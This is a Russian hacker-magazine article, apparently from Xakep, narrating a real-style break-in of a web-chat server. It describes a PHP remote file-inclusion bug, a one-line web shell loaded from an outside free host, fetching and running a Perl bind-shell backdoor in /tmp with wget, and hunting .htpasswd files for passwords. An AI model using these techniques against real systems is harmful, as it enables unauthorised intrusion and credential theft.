|
Смерть Web-чатам. Нашумевшие истории крупных взломов Master-lame-master Xakep, номер #055, стр. 055-048-2 Бэкдор - дело благородное После поверхностного изучения файловой системы хакер выяснил версию операционки. Собственно, сделать это не представляло большого труда: версия системы хранится в файле, расположенном в каталоге /etc. Имя файла состоит из названия самого дистрибутива, а также префикса release. В нашем случае параметр дырявого скрипта (file=/etc/redhat-release) быстро выдал важную для взломщика инфу. Но хакеру хотелось большего. Ты, наверное, понимаешь, что через возможность чтения файлов вряд ли можно получить какие-то права на серваке. Необходима была как минимум возможность выполнения команд. Но, как ни странно, include bug не заканчивался на простом просмотре локальных файлов. Если конфиг PHP не запрещает открывать ссылки через fopen(), то значением параметра file вполне мог являться урл PHP-скрипта. А сам PHP-скрипт будет преднамеренно закачан на произвольный сервер. Этим хакер и воспользовался, написав простой скрипт, состоящий всего из одной строки: <? system($cmd) ?> Взломщик залил его на ftp фриварного хостинга. Затем он ввел в браузере такую вот ссылку: http://www.ostrovok.net/cgi-bin/gbook.php?file=http://lamer.narod.ru/hack.php?cmd=id В итоге система отдалась хакеру без лишних разговоров. Несмотря на то, что взломщик обладал лишь nobody правами, у него был реальный шанс поиметь суперпользователя (в смысле не админа, а его права ;)). Затем наш герой проделал стандартный алгоритм, а именно - скачал с того же фриварного хостинга небольшой скрипт shell.pl, который умел открывать порт и вешать на нем шелл. Слить этот файл удаленно позволяла команда wget с ключиком -O /tmp/shell.pl. Он залил бэкдор в папку /tmp (в эту папку может писать кто угодно, даже nobody). Командой perl /tmp/shell.pl запустил этот самый скрипт, после чего можно было юзать интерактивный /bin/bash. Теперь появилась возможность нормально компилять самые разные эксплоиты. Вторжение и поиск Хакеру предстояла самая неблагодарная работа - поиск дыры в системе с целью ее захвата (уже с правами root). Как назло, ядро было стабильным (2.4.20), и с виду никаких локальных уязвимостей не наблюдалось. Но шестое чувство нашего героя подсказывало, что баги должны быть. В первую очередь хакер пролистал конфиг httpd и обнаружил, что помимо www.ostrovok.net на сервере хостятся сайты с "вкусными" названиями, а именно www.phphost.ru и www.multilinux.info. Еще раз ознакомившись с файлами системы, хакер сделал для себя вывод, что дырок нет. В самом свежем на тот момент дистрибутиве RedHat отсутствовали уязвимости в sendmail или суидных бинарниках, ибо эксплоиты для них в public-архивах еще не появились. Разумеется, хакеру был недоступен файл /etc/shadow с аккаунтами пользователей, но злодей вспомнил про то, что есть вероятность содержания паролей в файлах .htpasswd и им подобных. Найти их не составило труда, для этого существовала команда locate. Ее вывод показал, что в системе существуют три таких файла. |